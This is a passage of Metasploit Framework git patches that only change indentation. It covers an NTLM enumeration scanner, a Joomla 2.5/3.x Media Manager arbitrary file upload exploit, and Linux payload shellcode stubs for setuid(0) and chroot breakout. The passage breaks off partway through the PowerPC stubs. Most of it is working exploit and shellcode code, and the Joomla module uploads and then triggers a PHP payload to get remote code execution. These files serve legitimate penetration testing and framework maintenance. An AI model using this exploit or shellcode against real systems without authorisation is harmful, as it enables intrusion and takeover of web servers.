+ include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report - def initialize - super( - 'Name' => 'Host Information Enumeration via NTLM Authentication', - 'Description' => %q{ - This module makes requests to resources on the target server in - an attempt to find resources which permit NTLM authentication. For - resources which permit NTLM authentication a blank NTLM type 1 message - is sent to enumerate a a type 2 message from the target server. The type - 2 message is then parsed for information such as the Active Directory - domain and NetBIOS name. - }, - 'Author' => 'Brandon Knight', - 'License' => MSF_LICENSE - ) - register_options( - [ - OptPath.new('TARGETURIS', [ false, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) - ], self.class) - end + def initialize + super( + 'Name' => 'Host Information Enumeration via NTLM Authentication', + 'Description' => %q{ + This module makes requests to resources on the target server in + an attempt to find resources which permit NTLM authentication. For + resources which permit NTLM authentication a blank NTLM type 1 message + is sent to enumerate a a type 2 message from the target server. The type + 2 message is then parsed for information such as the Active Directory + domain and NetBIOS name. + }, + 'Author' => 'Brandon Knight', + 'License' => MSF_LICENSE + ) + register_options( + [ + OptPath.new('TARGETURIS', [ false, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) + ], self.class) + end - def peer - return "#{rhost}:#{rport}" - end + def peer + return "#{rhost}:#{rport}" + end - def run_host(ip) - File.open(datastore['TARGETURIS'], 'rb').each_line do |line| - test_uri = line.chomp - tpath = normalize_uri(test_uri) - result = check_url(tpath) - if result - print_good("Enumerated info on #{peer}#{tpath} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") - report_note( - :host => ip, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :ntype => 'ntlm.enumeration.info', - :data => {:uri=>tpath,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, - :update => :unique_data - ) - return - end - end - end + def run_host(ip) + File.open(datastore['TARGETURIS'], 'rb').each_line do |line| + test_uri = line.chomp + tpath = normalize_uri(test_uri) + result = check_url(tpath) + if result + print_good("Enumerated info on #{peer}#{tpath} - (name:#{result[:nbname]}) (domain:#{result[:nbdomain]}) (domain_fqdn:#{result[:dnsdomain]}) (server_fqdn:#{result[:dnsserver]})") + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :ntype => 'ntlm.enumeration.info', + :data => {:uri=>tpath,:SMBName=>result[:nbname], :SMBDomain=>result[:nbdomain],:FQDNDomain=>result[:dnsdomain],:FQDNName=>result[:dnsserver]}, + :update => :unique_data + ) + return + end + end + end - def check_url(test_uri) - begin + def check_url(test_uri) + begin - vprint_status("Checking #{peer} URL #{test_uri}") - res = send_request_cgi({ - 'encode' => true, - 'uri' => "#{test_uri}", - 'method' => 'GET', - 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 20) + vprint_status("Checking #{peer} URL #{test_uri}") + res = send_request_cgi({ + 'encode' => true, + 'uri' => "#{test_uri}", + 'method' => 'GET', + 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 20) - return if res.nil? + return if res.nil? - vprint_status("Status: #{res.code}") - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - #Parse out the NTLM and just get the Target Information Data - target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() + vprint_status("Status: #{res.code}") + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + #Parse out the NTLM and just get the Target Information Data + target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() - # Retrieve Domain name subblock info - nbdomain = parse_ntlm_info(target,"\x02\x00",0) - # Retrieve Server name subblock info - nbname = parse_ntlm_info(target,"\x01\x00",nbdomain[:new_offset]) - # Retrieve DNS domain name subblock info - dnsdomain = parse_ntlm_info(target,"\x04\x00",nbname[:new_offset]) - # Retrieve DNS server name subblock info - dnsserver = parse_ntlm_info(target,"\x03\x00",dnsdomain[:new_offset]) + # Retrieve Domain name subblock info + nbdomain = parse_ntlm_info(target,"\x02\x00",0) + # Retrieve Server name subblock info + nbname = parse_ntlm_info(target,"\x01\x00",nbdomain[:new_offset]) + # Retrieve DNS domain name subblock info + dnsdomain = parse_ntlm_info(target,"\x04\x00",nbname[:new_offset]) + # Retrieve DNS server name subblock info + dnsserver = parse_ntlm_info(target,"\x03\x00",dnsdomain[:new_offset]) - return { - :nbname=>nbname[:message], - :nbdomain=>nbdomain[:message], - :dnsdomain=>dnsdomain[:message], - :dnsserver=>dnsserver[:message] - } - end + return { + :nbname=>nbname[:message], + :nbdomain=>nbdomain[:message], + :dnsdomain=>dnsdomain[:message], + :dnsserver=>dnsserver[:message] + } + end - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end - end + end - def parse_ntlm_info(message,pattern,offset) - name_index = message.index(pattern,offset) - offset = name_index.to_i - size = message[offset+2].unpack('C').first - return { - :message=>message[offset+3,size].gsub(/\0/,''), - :new_offset => offset + size - } - end + def parse_ntlm_info(message,pattern,offset) + name_index = message.index(pattern,offset) + offset = name_index.to_i + size = message[offset+2].unpack('C').first + return { + :message=>message[offset+3,size].gsub(/\0/,''), + :new_offset => offset + size + } + end end From c9c6f84668d7ef9cfa24d950f9f549cb73f8eb13 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:16:15 -0500 Subject: [PATCH 076/160] Retab changes for PR #2328 --- .../unix/webapp/joomla_media_upload_exec.rb | 378 +++++++++--------- 1 file changed, 189 insertions(+), 189 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 30564457a0..bcc7bf8e96 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -8,229 +8,229 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper - def initialize(info={}) - super(update_info(info, - 'Name' => "Joomla Media Manager File Upload Vulnerability", - 'Description' => %q{ - This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as - 3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component, - which comes by default in Joomla, allowing arbitrary file uploads, and results in - arbitrary code execution. The module has been tested successfully on Joomla 2.5.13 - and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media - Manager, you will need to supply a valid username and password (Editor role or - higher) in order to work properly. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB - 'juan vazquez' # Metasploit module - ], - 'References' => - [ - [ 'OSVDB', '95933' ], - [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], - [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], - [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ], - [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ] - ], - 'Payload' => - { - 'DisableNops' => true, - # Arbitrary big number. The payload gets sent as POST data, so - # really it's unlimited - 'Space' => 262144, # 256k - }, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Joomla 2.5.x <=2.5.13', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => "Aug 01 2013", - 'DefaultTarget' => 0)) + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Media Manager File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as + 3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component, + which comes by default in Joomla, allowing arbitrary file uploads, and results in + arbitrary code execution. The module has been tested successfully on Joomla 2.5.13 + and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media + Manager, you will need to supply a valid username and password (Editor role or + higher) in order to work properly. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '95933' ], + [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], + [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], + [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ], + [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ] + ], + 'Payload' => + { + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as POST data, so + # really it's unlimited + 'Space' => 262144, # 256k + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla 2.5.x <=2.5.13', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Aug 01 2013", + 'DefaultTarget' => 0)) - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), - OptString.new('USERNAME', [false, 'User to login with', '']), - OptString.new('PASSWORD', [false, 'Password to login with', '']), - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), + OptString.new('USERNAME', [false, 'User to login with', '']), + OptString.new('PASSWORD', [false, 'Password to login with', '']), + ], self.class) - end + end - def peer - return "#{rhost}:#{rport}" - end + def peer + return "#{rhost}:#{rport}" + end - def check - res = get_upload_form + def check + res = get_upload_form - if res and res.code == 200 - if res.body =~ /You are not authorised to view this resource/ - print_status("#{peer} - Joomla Media Manager Found but authentication required") - return Exploit::CheckCode::Detected - elsif res.body =~ / 'POST', - 'uri' => "#{u.path}?#{u.query}", - 'ctype' => "multipart/form-data; boundary=#{data.bound}", - 'cookie' => @cookies, - 'vars_get' => { - 'asset' => 'com_content', - 'author' => '', - 'format' => '', - 'view' => 'images', - 'folder' => '' - }, - 'data' => post_data - }) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{u.path}?#{u.query}", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => @cookies, + 'vars_get' => { + 'asset' => 'com_content', + 'author' => '', + 'format' => '', + 'view' => 'images', + 'folder' => '' + }, + 'data' => post_data + }) - return res + return res - end + end - def get_upload_form - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "index.php"), - 'cookie' => @cookies, - 'encode_params' => false, - 'vars_get' => { - 'option' => 'com_media', - 'view' => 'images', - 'e_name' => 'jform_articletext', - 'asset' => 'com_content', - 'author' => '' - } - }) + def get_upload_form + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php"), + 'cookie' => @cookies, + 'encode_params' => false, + 'vars_get' => { + 'option' => 'com_media', + 'view' => 'images', + 'e_name' => 'jform_articletext', + 'asset' => 'com_content', + 'author' => '' + } + }) - return res - end + return res + end - def get_login_form + def get_login_form - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), - 'cookie' => @cookies, - 'vars_get' => { - 'view' => 'login' - } - }) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), + 'cookie' => @cookies, + 'vars_get' => { + 'view' => 'login' + } + }) - return res + return res - end + end - def login - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), - 'cookie' => @cookies, - 'vars_get' => { - 'task' => 'user.login' - }, - 'vars_post' => { - 'username' => @username, - 'password' => @password - }.merge(@login_options) - }) + def login + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), + 'cookie' => @cookies, + 'vars_get' => { + 'task' => 'user.login' + }, + 'vars_post' => { + 'username' => @username, + 'password' => @password + }.merge(@login_options) + }) - return res - end + return res + end - def parse_login_options(html) - html.scan(//) {|option| - @login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1" - } - end + def parse_login_options(html) + html.scan(//) {|option| + @login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1" + } + end - def exploit - @login_options = {} - @cookies = "" - @upload_name = "#{rand_text_alpha(rand(5) + 3)}.php" - @username = datastore['USERNAME'] - @password = datastore['PASSWORD'] + def exploit + @login_options = {} + @cookies = "" + @upload_name = "#{rand_text_alpha(rand(5) + 3)}.php" + @username = datastore['USERNAME'] + @password = datastore['PASSWORD'] - print_status("#{peer} - Checking Access to Media Component...") - res = get_upload_form + print_status("#{peer} - Checking Access to Media Component...") + res = get_upload_form - if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ - print_status("#{peer} - Authentication required... Proceeding...") + if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + print_status("#{peer} - Authentication required... Proceeding...") - if @username.empty? or @password.empty? - fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials") - end - @cookies = res.get_cookies.sub(/;$/, "") + if @username.empty? or @password.empty? + fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials") + end + @cookies = res.get_cookies.sub(/;$/, "") - print_status("#{peer} - Accessing the Login Form...") - res = get_login_form - if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/ - fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") - end - parse_login_options(res.body) + print_status("#{peer} - Accessing the Login Form...") + res = get_login_form + if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/ + fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") + end + parse_login_options(res.body) - res = login - if not res or res.code != 303 - fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") - end - elsif res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ / 'GET', - 'uri' => normalize_uri(target_uri.path, "images", @upload_name), - }) + register_files_for_cleanup("#{@upload_name}.") + print_status("#{peer} - Executing shell...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "images", @upload_name), + }) - end + end end From 896bb129cd48abcf1012e4e7c894116562b5d692 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:24:09 -0500 Subject: [PATCH 077/160] Retab changes for PR #2325 --- lib/msf/core/payload/linux.rb | 730 +++++++++--------- modules/exploits/linux/local/vmware_mount.rb | 86 +-- modules/payloads/stages/linux/x64/shell.rb | 4 +- .../payloads/stages/linux/x86/meterpreter.rb | 136 ++-- modules/payloads/stages/linux/x86/shell.rb | 4 +- 5 files changed, 480 insertions(+), 480 deletions(-) diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index 5f205483fd..02787eeaa9 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -10,421 +10,421 @@ require 'msf/core' ### module Msf::Payload::Linux - # - # This mixin is chained within payloads that target the Linux platform. - # It provides special prepends, to support things like chroot and setuid. - # - def initialize(info = {}) - ret = super(info) + # + # This mixin is chained within payloads that target the Linux platform. + # It provides special prepends, to support things like chroot and setuid. + # + def initialize(info = {}) + ret = super(info) - register_advanced_options( - [ - Msf::OptBool.new('PrependFork', - [ - false, - "Prepend a stub that executes: if (fork()) { exit(0); }", - "false" - ] - ), - Msf::OptBool.new('PrependSetresuid', - [ - false, - "Prepend a stub that executes the setresuid(0, 0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetreuid', - [ - false, - "Prepend a stub that executes the setreuid(0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetuid', - [ - false, - "Prepend a stub that executes the setuid(0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetresgid', - [ - false, - "Prepend a stub that executes the setresgid(0, 0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetregid', - [ - false, - "Prepend a stub that executes the setregid(0, 0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependSetgid', - [ - false, - "Prepend a stub that executes the setgid(0) system call", - "false" - ] - ), - Msf::OptBool.new('PrependChrootBreak', - [ - false, - "Prepend a stub that will break out of a chroot (includes setreuid to root)", - "false" - ] - ), - Msf::OptBool.new('AppendExit', - [ - false, - "Append a stub that executes the exit(0) system call", - "false" - ] - ), - ], Msf::Payload::Linux) + register_advanced_options( + [ + Msf::OptBool.new('PrependFork', + [ + false, + "Prepend a stub that executes: if (fork()) { exit(0); }", + "false" + ] + ), + Msf::OptBool.new('PrependSetresuid', + [ + false, + "Prepend a stub that executes the setresuid(0, 0, 0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependSetreuid', + [ + false, + "Prepend a stub that executes the setreuid(0, 0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependSetuid', + [ + false, + "Prepend a stub that executes the setuid(0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependSetresgid', + [ + false, + "Prepend a stub that executes the setresgid(0, 0, 0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependSetregid', + [ + false, + "Prepend a stub that executes the setregid(0, 0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependSetgid', + [ + false, + "Prepend a stub that executes the setgid(0) system call", + "false" + ] + ), + Msf::OptBool.new('PrependChrootBreak', + [ + false, + "Prepend a stub that will break out of a chroot (includes setreuid to root)", + "false" + ] + ), + Msf::OptBool.new('AppendExit', + [ + false, + "Append a stub that executes the exit(0) system call", + "false" + ] + ), + ], Msf::Payload::Linux) - ret - end + ret + end - # - # Overload the generate() call to prefix our stubs - # - def generate(*args) - # Call the real generator to get the payload - buf = super(*args) - pre = '' - app = '' + # + # Overload the generate() call to prefix our stubs + # + def generate(*args) + # Call the real generator to get the payload + buf = super(*args) + pre = '' + app = '' - test_arch = [ *(self.arch) ] + test_arch = [ *(self.arch) ] - # Handle all x86 code here - if (test_arch.include?(ARCH_X86)) + # Handle all x86 code here + if (test_arch.include?(ARCH_X86)) - # Prepend + # Prepend - if (datastore['PrependFork']) - pre << "\x6a\x02" +# pushb $0x2 # - "\x58" +# popl %eax # - "\xcd\x80" +# int $0x80 ; fork # - "\x85\xc0" +# test %eax,%eax # - "\x74\x06" +# jz 0xf # - "\x31\xc0" +# xor %eax,%eax # - "\xb0\x01" +# movb $0x1,%al ; exit # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependFork']) + pre << "\x6a\x02" +# pushb $0x2 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 ; fork # + "\x85\xc0" +# test %eax,%eax # + "\x74\x06" +# jz 0xf # + "\x31\xc0" +# xor %eax,%eax # + "\xb0\x01" +# movb $0x1,%al ; exit # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x31\xc9" +# xorl %ecx,%ecx # - "\x31\xdb" +# xorl %ebx,%ebx # - "\xf7\xe3" +# mull %ebx # - "\xb0\xa4" +# movb $0xa4,%al # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependSetresuid']) + # setresuid(0, 0, 0) + pre << "\x31\xc9" +# xorl %ecx,%ecx # + "\x31\xdb" +# xorl %ebx,%ebx # + "\xf7\xe3" +# mull %ebx # + "\xb0\xa4" +# movb $0xa4,%al # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x31\xc9" +# xorl %ecx,%ecx # - "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x46" +# pushl $0x46 # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependSetreuid']) + # setreuid(0, 0) + pre << "\x31\xc9" +# xorl %ecx,%ecx # + "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x46" +# pushl $0x46 # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x17" +# pushl $0x17 # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependSetuid']) + # setuid(0) + pre << "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x17" +# pushl $0x17 # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x31\xc9" +# xorl %ecx,%ecx # - "\x31\xdb" +# xorl %ebx,%ebx # - "\xf7\xe3" +# mull %ebx # - "\xb0\xaa" +# movb $0xaa,%al # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependSetresgid']) + # setresgid(0, 0, 0) + pre << "\x31\xc9" +# xorl %ecx,%ecx # + "\x31\xdb" +# xorl %ebx,%ebx # + "\xf7\xe3" +# mull %ebx # + "\xb0\xaa" +# movb $0xaa,%al # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x31\xc9" +# xorl %ecx,%ecx # - "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x47" +# pushl $0x47 # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # - end + if (datastore['PrependSetregid']) + # setregid(0, 0) + pre << "\x31\xc9" +# xorl %ecx,%ecx # + "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x47" +# pushl $0x47 # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # + end - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x2e" +# pushl $0x2e # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # - end - if (datastore['PrependChrootBreak']) - # setreuid(0, 0) - pre << "\x31\xc9" +# xorl %ecx,%ecx # - "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x46" +# pushl $0x46 # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # + if (datastore['PrependSetgid']) + # setgid(0) + pre << "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x2e" +# pushl $0x2e # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # + end + if (datastore['PrependChrootBreak']) + # setreuid(0, 0) + pre << "\x31\xc9" +# xorl %ecx,%ecx # + "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x46" +# pushl $0x46 # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # - # break chroot - pre << "\x6a\x3d" +# pushl $0x3d # - # build dir str (ptr in ebx) - "\x89\xe3" +# movl %esp,%ebx # - # mkdir(dir) - "\x6a\x27" +# pushl $0x27 # - "\x58" +# popl %eax # - "\xcd\x80" +# int $0x80 # - # chroot(dir) - "\x89\xd9" +# movl %ebx,%ecx # - "\x58" +# popl %eax # - "\xcd\x80" +# int $0x80 # - # build ".." str (ptr in ebx) - "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # + # break chroot + pre << "\x6a\x3d" +# pushl $0x3d # + # build dir str (ptr in ebx) + "\x89\xe3" +# movl %esp,%ebx # + # mkdir(dir) + "\x6a\x27" +# pushl $0x27 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + # chroot(dir) + "\x89\xd9" +# movl %ebx,%ecx # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + # build ".." str (ptr in ebx) + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # - "\x66\x68\x2e\x2e" +# pushw $0x2e2e # - "\x89\xe3" +# movl %esp,%ebx # - # loop changing dir - "\x6a\x3d" +# pushl $0x1e # - "\x59" +# popl %ecx # - "\xb0\x0c" +# movb $0xc,%al # - "\xcd\x80" +# int $0x80 # - "\xe2\xfa" +# loop -6 # - # final chroot - "\x6a\x3d" +# pushl $0x3d # - "\x89\xd9" +# movl %ebx,%ecx # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # + "\x66\x68\x2e\x2e" +# pushw $0x2e2e # + "\x89\xe3" +# movl %esp,%ebx # + # loop changing dir + "\x6a\x3d" +# pushl $0x1e # + "\x59" +# popl %ecx # + "\xb0\x0c" +# movb $0xc,%al # + "\xcd\x80" +# int $0x80 # + "\xe2\xfa" +# loop -6 # + # final chroot + "\x6a\x3d" +# pushl $0x3d # + "\x89\xd9" +# movl %ebx,%ecx # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # - end + end - # Append exit(0) + # Append exit(0) - if (datastore['AppendExit']) - app << "\x31\xdb" +# xorl %ebx,%ebx # - "\x6a\x01" +# pushl $0x01 # - "\x58" +# popl %eax # - "\xcd\x80" # int $0x80 # - end + if (datastore['AppendExit']) + app << "\x31\xdb" +# xorl %ebx,%ebx # + "\x6a\x01" +# pushl $0x01 # + "\x58" +# popl %eax # + "\xcd\x80" # int $0x80 # + end - # Handle all Power/CBEA code here - elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) + # Handle all Power/CBEA code here + elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) - # Prepend + # Prepend - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # - "\x7c\x84\x22\x78" +# xor r4,r4,r4 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\xa5" +# addi r0,r31,-347 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetresuid']) + # setresuid(0, 0, 0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # + "\x7c\x84\x22\x78" +# xor r4,r4,r4 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\xa5" +# addi r0,r31,-347 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x84\x22\x78" +# xor r4,r4,r4 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x47" +# addi r0,r31,-441 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetreuid']) + # setreuid(0, 0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x84\x22\x78" +# xor r4,r4,r4 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x47" +# addi r0,r31,-441 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x18" +# addi r0,r31,-488 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetuid']) + # setuid(0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x18" +# addi r0,r31,-488 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # - "\x7c\x84\x22\x78" +# xor r4,r4,r4 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\xab" +# addi r0,r31,-341 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetresgid']) + # setresgid(0, 0, 0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # + "\x7c\x84\x22\x78" +# xor r4,r4,r4 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\xab" +# addi r0,r31,-341 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x84\x22\x78" +# xor r4,r4,r4 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x48" +# addi r0,r31,-440 # - 